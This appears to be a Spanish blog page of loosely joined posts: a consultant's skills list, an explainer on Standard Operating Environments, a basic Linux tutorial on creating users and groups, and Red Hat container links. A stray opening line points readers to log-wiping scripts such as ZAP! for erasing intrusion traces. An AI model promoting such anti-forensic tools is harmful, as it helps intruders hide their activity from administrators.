Existen algunos scripts para borrar las huellas como ZAP! disponibles en la red y en los proximos numeros de esta revista.

Consultor Full Stack Agil

Desarrollo de aplicaciones web.

Experiencia en diseño, incluida la creación de planos y estructuras de diseño capacitivo para web y dispositivos móviles.

Conocimiento de patrones de diseño.

Experiencia significativa en desarrollo y entrega con desarrollo de aplicaciones web / móviles de pila completa, con una variedad de lenguajes.

- Perl

- Java

- C++ 

- C# para .NetCore

- Python

- JavaScript

- Swift

- PHP

- HTML5

- CSS3

- JavaScript

- AngularJS,

- React.js

- Vue.js

- JSON

- Cordova

- Ionic


Aplicaciones móviles, nativas e híbridas. (Conseptos)

- Android

- iOS


Microservicios, gestión de API y arquitecturas a escala web

- Fuse

- 3Scale

- Sprinboot

- Quarkus

- Node.js


Tecnologías emergentes como blockchain, AI / ML, etc.

DevOps ingeniería y entrega de aplicaciones

Experiencia en automatización de pruebas para aplicaciones web / móviles.

- Fuertes conocimientos en pielnes de estrategias CI-CD

-- Go

-- Jenkins

-- Ansible

- Jmeter

- Posman

- SoapUI

- TDD

- BDD


Entrega continua basada en contenedores

- Conocimientos en Openshift

-- Docker

-- Kubernetes

-- Estrategia S2I


Automatización en la nube y todo como código

- Aprovisionamiento de infraestructrura en:

-- AWS

-- AZURE

-- Google cloud


Conocimiento de metodologias Aguiles

- Scrum

- DevOps

- Trabajo en equipos ágiles.

- Trabajo con equipos altamente distribuidos.


La capacidad de autoaprendizaje y aprender rápidamente y poner en práctica nuevos temas

Pasión por el software de código abierto


Conocimiento aplicado de trabajar en equipos ágiles, scrum y DevOps

Capacidad para realizar actividades orientadas al cliente en un entorno acelerado con plazos cortos

Trabajo cómodo con equipos altamente distribuidos, incluida la interacción con comunidades de código abierto.

Conocimiento aplicado de pruebas modernas de software y métodos de entrega como TDD, BDD, integración continua y entrega continua

Fuertes habilidades verbales, de escritura y de presentación.

La capacidad de autoaprendizaje y aprender rápidamente y poner en práctica nuevos temas.

Pasión por el software de código abierto

miércoles, 13 de julio de 2022

SOE - Estandarizacion Operativa

 La estandarización de un entorno operativo (SOE) es una implementación estándar de un sistema operativo y su software asociado. Nombres y conceptos asociados incluyen:

  • MOE - Managed Operating Environment
  • COE - Consistent or Common Operating Environment
  • MDE - Managed Desktop Environment
  • DMS - Desktop Managed Services
  • OSP - Operating Sstandar Provider
  • SDE - Standard Desktop Environment
  • SDC - Standard Desktop Configuration
  • UOE - Unmanaged Operating Environment
  • SI - Standard Image

Los administradores normalmente implementan SOE como una imagen de disco estándar para la implementación masiva en varios equipos de una organización.

En SOE se pueden incluir el sistema operativo base, una configuración personalizada, las aplicaciones estándar utilizadas en una organización, las actualizaciones de software y los service packs. Una SOE puede aplicarse a servidores.

La principal ventaja de una SOE en un entorno empresarial es la reducción del costo y el tiempo necesario para implementar, configurar, mantener, soportar y administrar equipos. Al estandarizar las plataformas de hardware y software utilizadas en una organización, un departamento de TI o proveedor de servicios puede implementar nuevos equipos de computo y corregir problemas con los equipos de computo existentes rápidamente. Una solución estandarizada es repetible y automatizada crea un entorno conocido, esperado y soportable. Una solución estandarizada asegura el mantenimiento de resultados conocidos, con la automatización fomentando la velocidad, la repetibilidad y la estandarización.

El proveedor proporcionará las mejores practicas para implementar SOE. con lasas actividades listadas das en los siguientes incisos


Usuarios Linux

 Cuentas de usuario

Las cuentas de usuario son creadas por el administrador que en Unix es un usuario especial llamado root (ver más abajo). Los usuarios deberán pertenecer al menos a un grupo de usuarios ya que obligatoriamente deben tener asignado un Grupo principal o grupo primario. 

Cuando un usuario entra en un sistema Unix, debe identificarse indicando su nombre de usuario (en inglés login) y su contraseña (en inglés password). Si se equivoca al introducir su nombre o su contraseña, el sistema le denegará el acceso y no podrá entrar.

Usuarios normales

  •     Se usan para usuarios individuales.
  •     Cada usuario dispone de un directorio de trabajo, ubicado generalmente en /home.
  •     Cada usuario puede personalizar su entorno de trabajo.
  •     Tienen solo privilegios completos en su directorio de trabajo o HOME.
  •     Por seguridad, es siempre mejor trabajar como un usuario normal en vez del usuario root, y cuando se requiera hacer uso de comandos solo de root, utilizar el comando su.
  •     En las distros actuales de Linux se les asigna generalmente un UID superior a 500.


 

Al crear un usuario en Linux, este recibe un UID (Identificador de Usuario Unico)

Es un ID, un código único para el usuario. Al crear un usuario, a su vez se crea un grupo para ese usuario y un GID (Identificador Único de Grupo) para ese grupo del nuevo usuario.

opciones del comando useradd:

  • -m   crea automáticamente el directorio personal del usuario
  • -g    grupo principal al que añadimos el usuario
  • -G   grupo secundario
  • -d   permite especificar el directorio personal del usuario, que será creado a la vez que el usuario
  • -s   especifica el shell por defecto que utilizará el usuario


Ejemplo de uso de useradd

Crear usuario, asignarlo a un grupo, especificar su directorio personal y el shell a utilizar:

useradd -g grupo1 -d /home/usuario1 -m -s /bin/bash usuario1

Evidentemente, antes de realizar este paso hemos creado el grupo1, de esta forma:

groupadd grupo1


Después asignamos un password a esa nueva cuenta de usuario Linux:

password usuario linux

passwd usuario1

 

Y después de crear el usuario y asignarlo al grupo1 con el comando anterior (useradd -g grupo1), ejecutamos cat /etc/passwd para ver los GID de los grupos en los que se encuentra el nuevo usuario creado:

cat /etc/passwd

Podemos ver que el usuario1 se encuentra en el grupo que tiene asignado el GID 1004 (tanto el grupo primario como el secundario).

Y después ejecutamos cat /etc/group para ver qué grupos corresponden a los GID´s en los que se encuentra el nuevo usuario:

 cat /etc/group


CREACIÓN DE GRUPOS DE USUARIOS EN LINUX

Creamos diversos grupos de usuarios con el comando groupadd:

groupadd grupo1

groupadd grupo2

groupadd grupo3


Con el comando cat /etc/group

comprobamos el GID de los nuevos grupos de usuarios creados (visualizando el contenido del archivo /etc/group):

 Otros COMANDOS para trabajar con Usuarios y grupos Linux

id

Para ver los datos relativos a un usuario podemos ejecutar el comando

id nombreusuario

o directamente

id

y veremos los datos del usuario actual.

 Ejemplo:

Podemos ver que si tecleamos:

id usuario1

veremos los datos del usuario1: su UID, el GID y el nombre del grupo al que pertenece dicho usuario, y los grupos en los que se encuentra incluido (en este caso solo se encuentra en el grupo con GID 1004, llamado grupo1)

 También vemos que el usuario root posee el UID 0. Al igual que su GID es 0. A la cuenta root siempre se le asigna el UID 0.

whoami

Para ver qué usuario estamos utilizando (mostrar el nombre de usuario):

whoami

Containers notes

* Press Release: http://red.ht/2oYefdY

* Blog on Security Scoring: https://access.redhat.com/blogs/product-security/posts/container-security-scoring

* Red Hat Container Catalog: https://access.redhat.com/containers

* RHCC Get Started Guide: https://access.redhat.com/articles/2959661

* RHCC internal release notes: https://mojo.redhat.com/docs/DOC-1100764

* RHCC internal landing page:  https://mojo.redhat.com/docs/DOC-1128909

* Customer facing slidedeck: https://docs.google.com/a/redhat.com/presentation/d/1xCP23-q7X8VuWyHYlagjiKnyDoXY-_A_CdCUTsSKmsw/edit?usp=sharing

* RHCC roadmap draft: https://mojo.redhat.com/docs/DOC-1133822